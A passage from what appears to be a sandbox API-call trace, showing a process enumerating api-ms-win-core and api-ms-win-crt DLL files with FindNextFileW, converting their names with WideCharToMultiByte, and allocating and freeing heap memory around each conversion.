lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x90c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.745] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x90c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.746] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x90c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.746] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x90c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.746] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.746] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.746] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x90c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0041.747] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x90c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0041.747] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.747] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.747] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x90c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0041.747] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.747] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x90c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0041.747] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x90c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0041.747] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x90c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0041.748] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x90c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0041.748] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x90c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0041.748] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x90c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0041.748] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.748] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.748] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 